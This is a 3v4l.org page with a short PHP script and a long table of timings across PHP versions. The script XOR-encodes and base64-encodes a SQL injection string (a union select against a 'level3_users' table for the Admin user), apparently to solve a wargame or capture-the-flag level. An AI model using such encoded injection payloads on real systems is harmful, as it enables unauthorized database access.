3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("qzqsd' union select 1,2,3,4,5,6,7 from level3_users where level3_users.username='Admin' #")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0140.00018.85
8.3.30.0100.00319.17
8.3.20.0080.00020.20
8.3.10.0040.00422.09
8.3.00.0030.00622.37
8.2.170.0170.00322.96
8.2.160.0070.01020.52
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0020.00526.16
8.2.120.0090.00019.48
8.2.110.0060.00322.27
8.2.100.0030.00919.45
8.2.90.0040.00419.30
8.2.80.0040.00418.05
8.2.70.0080.00017.63
8.2.60.0000.00818.05
8.2.50.0000.00818.07
8.2.40.0080.00018.28
8.2.30.0030.00918.07
8.2.20.0000.00917.60
8.2.10.0050.00317.73
8.2.00.0040.00417.74
8.1.270.0050.00322.11
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0030.00623.71
8.1.230.0070.00319.08
8.1.220.0040.00417.78
8.1.210.0050.00318.77
8.1.200.0060.00317.23
8.1.190.0000.00817.43
8.1.180.0040.00418.10
8.1.170.0040.00418.58
8.1.160.0090.00021.99
8.1.150.0040.00418.67
8.1.140.0040.00417.43
8.1.130.0070.00017.93
8.1.120.0000.00717.48
8.1.110.0000.00717.33
8.1.100.0030.00517.43
8.1.90.0040.00417.39
8.1.80.0080.00017.44
8.1.70.0070.00017.32
8.1.60.0030.00617.52
8.1.50.0030.00617.61
8.1.40.0000.00817.45
8.1.30.0020.00517.62
8.1.20.0030.00617.58
8.1.10.0030.00617.43
8.1.00.0000.00717.49
8.0.300.0040.00418.77
8.0.290.0040.00417.18
8.0.280.0050.00318.51
8.0.270.0080.00017.16
8.0.260.0000.00816.70
8.0.250.0030.00616.97
8.0.240.0050.00516.95
8.0.230.0040.00416.95
8.0.220.0020.00516.90
8.0.210.0000.00716.89
8.0.200.0040.00417.00
8.0.190.0000.00817.04
8.0.180.0000.00816.86
8.0.170.0000.00717.01
8.0.160.0000.00816.92
8.0.150.0040.00416.90
8.0.140.0070.00016.78
8.0.130.0050.00013.35
8.0.120.0020.00516.89
8.0.110.0000.00716.82
8.0.100.0040.00417.04
8.0.90.0040.00416.97
8.0.80.0100.00616.87
8.0.70.0040.00416.87
8.0.60.0040.00416.91
8.0.50.0080.00016.95
8.0.30.0140.00817.00
8.0.20.0060.01317.40
8.0.10.0040.00417.02
8.0.00.0100.01016.74
7.4.330.0060.00015.08
7.4.320.0070.00016.59
7.4.300.0000.00716.54
7.4.290.0000.00716.55
7.4.280.0030.00316.48
7.4.270.0030.00316.54
7.4.260.0000.00716.43
7.4.250.0070.00016.58
7.4.240.0060.00116.50
7.4.230.0080.00016.53
7.4.220.0170.01016.60
7.4.210.0080.00616.56
7.4.200.0000.00716.44
7.4.190.0030.00316.45
7.4.160.0090.00616.47
7.4.150.0100.00717.40
7.4.140.0090.01317.86
7.4.130.0080.01016.56
7.4.120.0110.00616.60
7.4.110.0090.00816.59
7.4.100.0030.01616.37
7.4.90.0030.01416.49
7.4.80.0100.01019.39
7.4.70.0140.00616.35
7.4.60.0060.01116.57
7.4.50.0070.00016.53
7.4.40.0070.01022.77
7.4.30.0030.01316.55
7.4.00.0030.01314.93
7.3.330.0030.00313.35
7.3.320.0000.00613.36
7.3.310.0040.00416.41
7.3.300.0030.00316.35
7.3.290.0150.00616.44
7.3.280.0050.01316.41
7.3.270.0100.00717.40
7.3.260.0140.00416.67
7.3.250.0130.00616.55
7.3.240.0120.00616.43
7.3.230.0170.00316.39
7.3.210.0090.00616.58
7.3.200.0100.01019.39
7.3.190.0100.01016.49
7.3.180.0030.01416.38
7.3.170.0120.00916.54
7.3.160.0140.00816.51
7.3.120.0090.00614.61
7.3.10.0000.01416.78
7.3.00.0030.01416.79
7.2.330.0060.01616.83
7.2.320.0090.00916.71
7.2.310.0100.00716.75
7.2.300.0070.01116.71
7.2.290.0110.00716.58
7.2.130.0070.00616.71
7.2.120.0200.00017.04
7.2.110.0030.01016.97
7.2.100.0100.00616.93
7.2.90.0070.00316.98
7.2.80.0110.00317.05
7.2.70.0080.00317.04
7.2.60.0080.00417.07
7.2.50.0030.01216.96
7.2.40.0040.01217.07
7.2.30.0060.00616.86
7.2.20.0070.00716.85
7.2.10.0030.01316.94
7.2.00.0000.01417.96
7.1.250.0130.00715.84
7.1.70.0040.00417.09
7.1.60.0100.00017.16
7.1.50.0160.01016.70
7.1.00.0100.06722.35
7.0.200.0000.01516.79
7.0.140.0100.06722.15
7.0.80.0630.06719.99
7.0.70.0500.06720.17
7.0.60.0600.07719.96
7.0.50.0670.07720.38
7.0.40.0130.07720.05
7.0.30.0200.05320.18
7.0.20.0070.05720.05
7.0.10.0100.07320.08
7.0.00.0070.04720.04
5.6.280.0030.07320.91
5.6.230.0030.07020.57
5.6.220.0030.05720.57
5.6.210.0130.07020.57
5.6.200.0100.07321.05
5.6.190.0200.07721.03
5.6.180.0070.08720.96
5.6.170.0100.08021.04
5.6.160.0100.05021.09
5.6.150.0170.04020.98
5.6.140.0070.05321.01
5.6.130.0030.04321.08
5.6.120.0000.04721.09
5.6.110.0100.03720.95
5.6.100.0000.04721.13
5.6.90.0100.04321.07
5.6.80.0100.03320.31
5.6.70.0030.05720.34
5.6.60.0100.07720.40
5.6.50.0000.04320.35
5.6.40.0030.04020.36
5.6.30.0000.04320.54
5.6.20.0070.03320.39
5.6.10.0100.03720.41
5.6.00.0000.03720.38
5.5.370.0170.07320.55
5.5.360.0030.08320.41
5.5.350.0130.07720.35
5.5.340.0130.06720.82
5.5.330.0100.07320.89
5.5.320.0070.05020.79
5.5.310.0030.08720.74
5.5.300.0100.05720.77
5.5.290.0100.05020.84
5.5.280.0000.05320.80
5.5.270.0030.04320.87
5.5.260.0070.05320.89
5.5.250.0100.06020.71
5.5.240.0000.03320.17
5.5.230.0000.04320.14
5.5.220.0030.04020.19
5.5.210.0100.03320.27
5.5.200.0030.04320.24
5.5.190.0000.04320.27
5.5.180.0000.04320.26
5.5.160.0100.03720.00
5.5.150.0070.03720.23
5.5.140.0130.03320.26
5.5.130.0030.04320.23
5.5.120.0030.04320.15
5.5.110.0030.04020.25
5.5.100.0130.03019.96
5.5.90.0070.03320.07
5.5.80.0100.03720.18
5.5.70.0070.04020.05
5.5.60.0000.04020.14
5.5.50.0030.04020.04
5.5.40.0000.04020.00
5.5.30.0000.04320.14
5.5.20.0100.04320.15
5.5.10.0070.05020.08
5.5.00.0030.07720.04
5.4.450.0030.04019.52
5.4.440.0030.04019.45
5.4.430.0000.04719.45
5.4.420.0070.03019.20
5.4.410.0070.03719.37
5.4.400.0100.03018.88
5.4.390.0030.03319.20
5.4.380.0030.03319.16
5.4.370.0070.05019.23
5.4.360.0000.05719.14
5.4.350.0070.03319.16
5.4.340.0070.03319.09
5.4.320.0100.03319.13
5.4.310.0070.06319.04
5.4.300.0030.03318.96
5.4.290.0030.06019.13
5.4.280.0000.04019.02
5.4.270.0000.04018.87
5.4.260.0000.07318.94
5.4.250.0000.04318.87
5.4.240.0070.03319.04
5.4.230.0000.03319.12
5.4.220.0070.03719.13
5.4.210.0070.03319.04
5.4.200.0030.03319.19
5.4.190.0070.03718.91
5.4.180.0130.06319.15
5.4.170.0000.05319.15
5.4.160.0030.07019.12
5.4.150.0170.07319.03
5.4.140.0130.07316.46
5.4.130.0100.07016.46
5.4.120.0070.07016.46
5.4.110.0070.04716.56
5.4.100.0170.06316.52
5.4.90.0030.05716.56
5.4.80.0070.06316.55
5.4.70.0100.06716.31
5.4.60.0100.05016.41
5.4.50.0030.07016.32
5.4.40.0070.07716.41
5.4.30.0070.07016.36
5.4.20.0100.06716.38
5.4.10.0070.03716.36
5.4.00.0030.07315.75
5.3.290.0000.04314.70
5.3.280.0000.04314.71
5.3.270.0100.03714.67
5.3.260.0000.07714.63
5.3.250.0030.03714.60
5.3.240.0070.07014.67
5.3.230.0070.08014.66
5.3.220.0130.05714.64
5.3.210.0030.07314.71
5.3.200.0100.05714.59
5.3.190.0100.07714.57
5.3.180.0130.06714.57
5.3.170.0070.07714.69
5.3.160.0070.07714.50
5.3.150.0100.07714.67
5.3.140.0100.07014.57
5.3.130.0070.04714.54
5.3.120.0100.03714.50
5.3.110.0100.04714.48
5.3.100.0070.07713.97
5.3.90.0070.06713.97
5.3.80.0000.07713.91
5.3.70.0000.06314.16
5.3.60.0100.03314.06
5.3.50.0030.04314.02
5.3.40.0000.04314.06
5.3.30.0200.05013.84
5.3.20.0000.07013.62
5.3.10.0030.04713.80
5.3.00.0030.05013.64
5.2.170.0070.04012.50
5.2.160.0030.04312.50
5.2.150.0000.03312.50
5.2.140.0100.06012.50
5.2.130.0130.05312.50
5.2.120.0100.06012.50
5.2.110.0100.05312.50
5.2.100.0070.06012.50
5.2.90.0000.04312.50
5.2.80.0070.06312.50
5.2.70.0030.05712.50
5.2.60.0000.06712.50
5.2.50.0030.05012.50
5.2.40.0000.04012.50
5.2.30.0070.06012.50
5.2.20.0030.06012.50
5.2.10.0070.06012.50
5.2.00.0030.06712.50
5.1.60.0000.05312.50
5.1.50.0070.04312.50
5.1.40.0070.05312.50
5.1.30.0070.05312.50
5.1.20.0070.05012.50
5.1.10.0100.05012.50
5.1.00.0030.05312.50
5.0.50.0030.05012.50
5.0.40.0070.04012.50
5.0.30.0030.05312.50
5.0.20.0000.03712.50
5.0.10.0000.03712.50
5.0.00.0030.04312.50
4.4.90.0000.02012.50
4.4.80.0000.04012.50
4.4.70.0000.03712.50
4.4.60.0030.02712.50
4.4.50.0000.02712.50
4.4.40.0030.05312.50
4.4.30.0030.03312.50
4.4.20.0030.03712.50
4.4.10.0030.02712.50
4.4.00.0030.04312.50
4.3.110.0070.02712.50
4.3.100.0000.01712.50
4.3.90.0000.03712.50
4.3.80.0000.03012.50
4.3.70.0030.03012.50
4.3.60.0000.02312.50
4.3.50.0030.02012.50
4.3.40.0000.02712.50
4.3.30.0070.02312.50
4.3.20.0030.02712.50
4.3.10.0030.03012.50
4.3.00.0000.03712.50

preferences:
54.7 ms | 400 KiB | 5 Q